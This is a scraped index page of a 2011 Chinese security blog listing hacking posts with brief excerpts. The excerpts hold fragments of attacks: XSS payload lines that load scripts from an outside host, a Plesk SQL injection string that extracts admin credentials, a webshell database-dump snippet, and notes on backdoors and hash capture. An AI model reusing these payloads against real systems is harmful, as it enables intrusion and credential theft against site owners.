乐胖代购免代理版

对FCKEditor <= 2.6.4 通杀 exploit 的分析

Author: handt site :upload/2011/3/201103240211173836.jpg” border=”0″ small=”0″ alt=”" /> 0×01 exploit 使用演示在 /phpweb

职场

休闲

Fckeditor

转载精选 2011-03-27 21:13:47 3360 阅读

脚本漏洞挖掘技巧基于工具快速挖掘

现在很多搞web开发的人，脚本安全做得真烂，简单而又“复杂”过滤两下，事实上根本没理解到真正的方法，也怪90%的脚本书上只讲语法，顺便鄙视下国内那些XX砖家写的书，不讲安全，导致很多web开发人员完全没那意识。以前写的文章，今天整理到的，这是以前搞脚本安全的一些经验，扔出来，当时靠 DW的确检测了很多脚本安全问题。 ——&mdash

职场

脚本

休闲

转载精选 2011-03-26 08:00:31 814 阅读

新突破fckeditor漏洞

经测试，此方法通杀asp、aspx版本，不适用于php。之前很多的方法，诸如上传*.asp等类型文件；创建*.asp等目录…… 今天遇到一个fck编辑器，跟之前很多次一样，以上方法均无果。创建*.asp；*.php等目录无果；上传*.asp;.jpg等文件无果；神马cer之类的就不说了。以下是误打误撞的方法，不知道黑扩们发了没。仍然利用的以下地址：

职场

休闲

FCK

转载精选 2011-03-20 08:14:49 767 阅读

一句话下拖库

条件限制写不了大马，只有一个一句话，其实要实现什么完全够了，只是很不直观方便啊，比如tuo库。这儿利用的是马儿的专家模式（自己写代码）。 ini_set('display_errors', 1); set_time_limit(0); error_reporting(E_ALL); $connx = mysql_connect(":/var/tmp/mysql

职场

休闲

拖库

转载精选 2011-03-19 21:22:42 914 阅读

Vi非正常退出导致敏感信息泄露

http://bbs.xxx.com/.config.inc.php.swp 刚看到 toby57 在博客提到，之前有留意过。这个漏洞的利用前提是。服务器不解析.swp 。且未知格式会直接输出，才会这样，最近有看到过几个这种网站。不过基本失败。。 mark下。回头改进工具

职场

Vi

休闲

信息泄露

原创 2011-03-19 21:17:29 947 阅读

SC的妙用

1、利用Sc getkeyname来获取服务的名字首先我们可以利用 net start 来得到系统中的服务显示名称然后我们利用 sc getkeyname 来得到服务的真实名称 2、利用sc qc来获取服务的运行信息利用sc qc 服务的真实名称来得到服务的启动类型，执行文件路径，遇到serv-u等其他敏感的第三方程序可以很方便找到文件的目

职场

休闲

SC

转载精选 2011-03-19 17:42:18 668 阅读

Wireless MiTM Attacks

Collecting Log In Info Through MITM { Man In The Middle } Attack Ok so I've been reading online and there is quite a lot of tutorials on MiTM attacks but they mostly consist of ov

职场

休闲

MITM

转载精选 2011-03-19 17:12:11 1018 阅读 2评论

xss跨站脚本攻击汇总[2]

(56)在flash中使用ActionScrpt可以混进你XSS的代码 a=”get”; b=”URL(\”"; c=”javascript:”; d=”alert(‘XSS’);\”)”; eval_r(a+b+c+d); (5

XSS

休闲

跨站

转载 2011-03-06 09:48:49 960 阅读

xss跨站脚本攻击汇总

(1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG标签XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (3)IMG标签无分号无引号 <

XSS

休闲

跨站

转载精选 2011-03-06 09:48:18 2498 阅读 1点赞

Deface IIS 5 WebDav Vuln !

Hi Today I'm Gonna Show You How To Hack Or Deface Vulnerable IIS WebSites Already I Don't Have Any Dork :unsure:To Find Them But Try Searching For IIS Websites... Okk..First Go To Start-->Ru

职场

休闲

WebDav

IIS5

Vuln

转载 2011-03-03 19:19:06 547 阅读

Best Pen Test Linux Distributions

Linux distributions are often customized to perform many specialized tasks cater to a particular industry, hobby or business. Security Penetration testing is one such niche where professional (and h

Linux

职场

休闲

pentest

Distributions

转载精选 2011-02-27 21:24:38 827 阅读 1评论

HPP: HTML Parameter Pollution paper

HPP can be used to create unusual behaviour in applications Which can typically end up giving weaknesses or possible attack vectors in the application ASP.NET/IIS: What it parses: All occurences

职场

HTML

休闲

HPP

转载精选 2011-02-27 21:12:08 715 阅读

Top 13 SQL Scaners

SQLIer - SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all. Get SQLIer.

Sql

数据库

休闲

注入

SQLIer

转载精选 2011-02-27 17:29:50 781 阅读

Hijacking putty sessions

Here's something nice I came through, and thought of sharing with TU Download it: http://packetstormsecurity.org/filedesc/PuttyHijackV1.0.rar.html PuttyHijack is a proof of concept tool t

职场

Hacking

休闲

转载精选 2011-02-25 21:50:49 985 阅读

Advanced MYSQL & MSSQL INJECTION

##################################################################### # Title: Advanced Sql Injection including Mysql,Mssql & a guide to oracle # Date : 22 January 2011 # Author: Cyb3R_ShubhaM

职场

mysql

数据库

休闲

SQLI

转载精选 2011-02-25 20:25:16 5173 阅读

HF Download Tips

javascript:hf="http://hotfile.com/";if(location.href.indexOf(":\/\/hotfile.com")==-1){g=confirm("Hello%20from%20SN%20,%20Click%20OK%20to%20redirect%20to%20Hotfile%20webs

职场

JS

休闲

原创 2011-02-25 17:48:12 937 阅读 1点赞 5评论

All Web Application Attack Techniques

Pnig0s1992 P.S:Just follow this to learn Web Attack. This list is not full, if there is some attack I missed post in thread please. This list below fits in category Parameter manipulation

职场

休闲

WebAttack

转载精选 2011-02-25 14:11:57 1123 阅读

Blind SQL Injection detection with Burp Suite

1. Introduction Burp suite is local proxy software (man-in-the-middle application) helping a penetration tester to perform deep analysis and security checks of the HTTP conversation, between a bro

职场

SQL

数据库

休闲

Brupsuite

转载精选 2011-02-24 21:40:01 1262 阅读 2评论

Mysql暴错注入参考

自己实践+看Paper归纳整理成PDF格式,便于查看发出来方便群众吧

职场

Mysql

数据库

休闲

0day

原创 2011-02-19 22:19:06 646 阅读

Oracle 10/11g exp.exe Buffer Overflow

#!/usr/bin/python # Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit # Date found approx: 9/3/2

Oracle

职场

数据库

休闲

转载精选 2011-02-19 20:34:54 2499 阅读 1点赞 1评论

TIps In hacking[Mysql5.1+]

Thx Ninty 内网渗透时如果MYSQL不是SYSTEM启动的。。而是由别的账号启动的话。本机开个共享，开个CAIN。。 MYSQL里面执行load_file('\\\\ip\c$\a.txt') 可以抓到目标服务器的HALF HASH.。

职场

mysql

数据库

Hacking

休闲

转载精选 2011-02-19 19:12:48 382 阅读

Python chardet 字符编码判断

使用 chardet 可以很方便的实现字符串/文件的编码检测。尤其是中文网页，有的页面使用GBK/GB2312，有的使用UTF8，如果你需要去爬一些页面，知道网页编码很重要的，虽然HTML页面有charset标签，但是有些时候是不对的。那么chardet就能帮我们大忙了。 chardet实例 >>> import urllib >>> ra

职场

web开发

休闲

Python

chardet

转载精选 2011-02-18 22:57:08 6091 阅读

plesk panel 虚拟主机管理平台 0day

1,在http://xxxxxx.com:8880这里，默认的管理员账户密码是admin 密码stepu 2，在https://xxxxx.com:8443 mssql版本账号 ' union select top 1 login+char(124)+passwd from admin_aliases-- 报错,爆出账号密码登陆后s

职场

虚拟主机

休闲

0day

panel

转载精选 2011-02-18 20:36:11 586 阅读

linux下留本地后门的两个方法

方法一：setuid的方法，其实8是很隐蔽。看看过程: [root@localdomain lib]# ls -l |grep ld-linux lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so lrwxrwxrwx 1 roo

Linux

职场

Hacking

休闲

转载精选 2011-02-17 14:38:12 683 阅读

关于Ashx脚本写aspx木马的方法汇总

Author:Pnig0s1992 某站，.Net环境,上传处未限制Ashx和Asmx，后者上传无法运行，提示Asmx脚本只能在本地运行，于是打算先传个Ashx脚本然后在当前目录下生成Aspx文件(目标不能执行Asp文件)，网上找到如下Ashx代码: <%@ WebHandler Language="C#" Class="H

职场

hacking

休闲

aspx

Ashx

原创 2011-02-17 07:55:55 8452 阅读 1点赞 2评论

Tip in Hacking

In 2.11.5.1 Can Export the whole database: server_export.php?lang=zh&server=1

php

my

Hacking

休闲

admin

原创 2011-02-14 20:30:02 1281 阅读

BT4r2下使用Armitage

1,Download tgz package on the offcial website 2,tar zxvf armitage.tgz 3,./armitage.tgz 4,run msfconsole 5,db_driver sqlite3 6,db_create test 7,msf > load xmlrpc [*] XMLRPC Service: &nb

职场

MSF

休闲

Armitage

BT4r2

原创 2011-02-14 10:49:06 2126 阅读

Metasploit和armitage整合教程

Metasploit不用过多介绍，是一个很强大的入侵工具集，但由于界面多基于命令行模式，自身UI并非那么友好，可能对部分人使用上带来一定困难。而armitage是针对metaspolit开发的一套基于java，metaspolit的扩展程序，实际是类似metaspolit的图形化，让使用上更加直观便利。下面是具体的安装步骤，使用情况待摸熟后再

职场

MSF

休闲

armitage

转载精选 2011-02-14 10:29:53 1712 阅读 1评论

Tips of Oracle BlindInjection

9:26:33 FindNumericValue SELECT COUNT(TABLE_NAME) FROM USER_TABLES (0 to 1000) 9:26:49 Initializing TBL=all_users N=3 R=0 T=4 Q=SELECT COUNT(TABL

Oracle

职场

SQL

休闲

注入

原创 2011-02-13 23:05:41 397 阅读

Pnig0sql.py[MSSQL Inj&Dumper]

Author_Pnig0s1992 QQ:459933916 Blog:http://pnig0s1992.blog.51cto.com/ 该脚本支持MSSQL2000/2005数字和搜索型的报错注入,并将得到的表名，列明及数据信息Dump到同目录下的相关txt文件中便于查看，该版本为完善，未容错，如果你用他没达到你的目的，没导出你想要的数据，Please轻拍。仅作技术交流使用,

Sql

数据库

休闲

MSSQL

pnig0s

原创 2011-02-12 19:35:46 1200 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

About:Blank H4cking

对FCKEditor <= 2.6.4 通杀 exploit 的分析

脚本漏洞挖掘技巧基于工具快速挖掘

新突破fckeditor漏洞

一句话下拖库

Vi非正常退出导致敏感信息泄露

SC的妙用

Wireless MiTM Attacks

xss跨站脚本攻击汇总[2]

xss跨站脚本攻击汇总

Deface IIS 5 WebDav Vuln !

Best Pen Test Linux Distributions

HPP: HTML Parameter Pollution paper

Top 13 SQL Scaners

Hijacking putty sessions

Advanced MYSQL & MSSQL INJECTION

HF Download Tips

All Web Application Attack Techniques

Blind SQL Injection detection with Burp Suite

Mysql暴错注入参考

Oracle 10/11g exp.exe Buffer Overflow

TIps In hacking[Mysql5.1+]

Python chardet 字符编码判断

plesk panel 虚拟主机管理平台 0day

linux下留本地后门的两个方法

关于Ashx脚本写aspx木马的方法汇总

Tip in Hacking

BT4r2下使用Armitage

Metasploit和armitage整合教程

Tips of Oracle BlindInjection

Pnig0sql.py[MSSQL Inj&Dumper]

欢迎